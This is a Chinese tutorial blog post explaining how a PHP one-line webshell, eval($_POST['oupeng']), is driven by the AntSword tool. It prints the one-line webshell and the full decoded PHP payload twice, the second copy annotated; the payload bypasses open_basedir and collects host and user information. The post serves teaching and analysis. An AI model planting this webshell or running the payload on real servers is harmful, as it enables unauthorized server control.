WEB安全--文件上传漏洞--一句话木马的工作方式

写这篇文章我的想法是,在了解文件上传漏洞之前,我们应该知道为什么要上传webshell,就像在我们磨刀之前应该要知道我们要拿刀来干啥 : )

以一句话木马来说,就单凭一小行代码怎么能做到控制别人的服务器的呢?这是值得思考的,所以请看下文。


首先,我已经上传了一句话木马:

接下来通过对蚁剑传输流量的抓包分析:

我们能看到传输数据的字段有一大段编码和两个变量,它的工作原理是:

分为了两个字段

1:e002eeda8c12f5=[省略]

2:oupeng=eval(base64_decode($_POST('e002eeda8c12f5')))

第一个字段是base64编码后的值,解码后其内容是:

php 复制代码
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)){continue;};
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){continue;}
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>

第二个字段则是先用 $_POST('e002eeda8c12f5') 接到这段编码

然后用eval(base64_decode())的方式把它解码,这里嵌套的目的是用eval()执行base64_decode()

于是我们就能用oupeng接到解码后的代码

最后我们在回过头看我们的一句话木马:

eval($_POST['oupeng']);

也就是说最后蚁剑将处理后的值赋给oupeng这个变量,

然后网站中的一句话木马中的$_POST['oupe]接到这个变量,也就是接到这些代码,

最后再利用eval()在网站中执行这些代码

代码作用如下:

php 复制代码
<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);

// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {
    // 获取当前脚本所在目录
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 使用 base64 解码后进行拆分
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    // 将当前目录和系统临时目录添加到数组中
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        // 如果目录不可写,则继续循环
        if(!@is_writable($item)){continue;};
        // 创建一个临时目录
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        // 如果目录不存在,则继续循环
        if(!@file_exists($tmdir)){continue;}
        // 获取临时目录的绝对路径
        $tmdir=realpath($tmdir);
        // 进入临时目录
        @chdir($tmdir);
        // 修改 open_basedir 为上一级目录
        @ini_set("open_basedir", "..");
        // 将路径按斜杠分隔成数组
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        // 循环返回上级目录,直到根目录
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        // 恢复 open_basedir 为根目录
        @ini_set("open_basedir","/");
        // 删除临时目录
        @rmdir($tmdir);
        break;
    };
};

// 定义函数 asenc,无实际操作,直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput,将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{
    // 获取当前脚本所在目录
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 如果为空,则获取当前路径的上一级目录
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 将当前目录信息存入变量 $R
    $R="{$D}	";
    // 如果路径不是绝对路径,则循环遍历 A 到 Z 盘符,获取可用盘符
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    // 添加分隔符和系统信息
    $R.="	";
    // 获取当前用户信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    // 添加系统信息和当前用户信息到变量 $R
    $R.=php_uname();
    $R.="	{$s}";
    // 输出变量 $R
    echo $R;
}catch(Exception $e){
    // 如果出现异常,则输出错误信息
    echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>
相关推荐
大模型玩家七七3 小时前
基于语义切分 vs 基于结构切分的实际差异
java·开发语言·数据库·安全·batch
寻星探路8 小时前
【深度长文】万字攻克网络原理:从 HTTP 报文解构到 HTTPS 终极加密逻辑
java·开发语言·网络·python·http·ai·https
Binary-Jeff8 小时前
一文读懂 HTTPS 协议及其工作流程
网络协议·web安全·http·https
Hello.Reader11 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能11 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
盟接之桥11 小时前
盟接之桥说制造:引流品 × 利润品,全球电商平台高效产品组合策略(供讨论)
大数据·linux·服务器·网络·人工智能·制造
数据与后端架构提升之路12 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
会员源码网12 小时前
理财源码开发:单语言深耕还是多语言融合?看完这篇不踩坑
网络·个人开发
米羊12113 小时前
已有安全措施确认(上)
大数据·网络
市场部需要一个软件开发岗位13 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全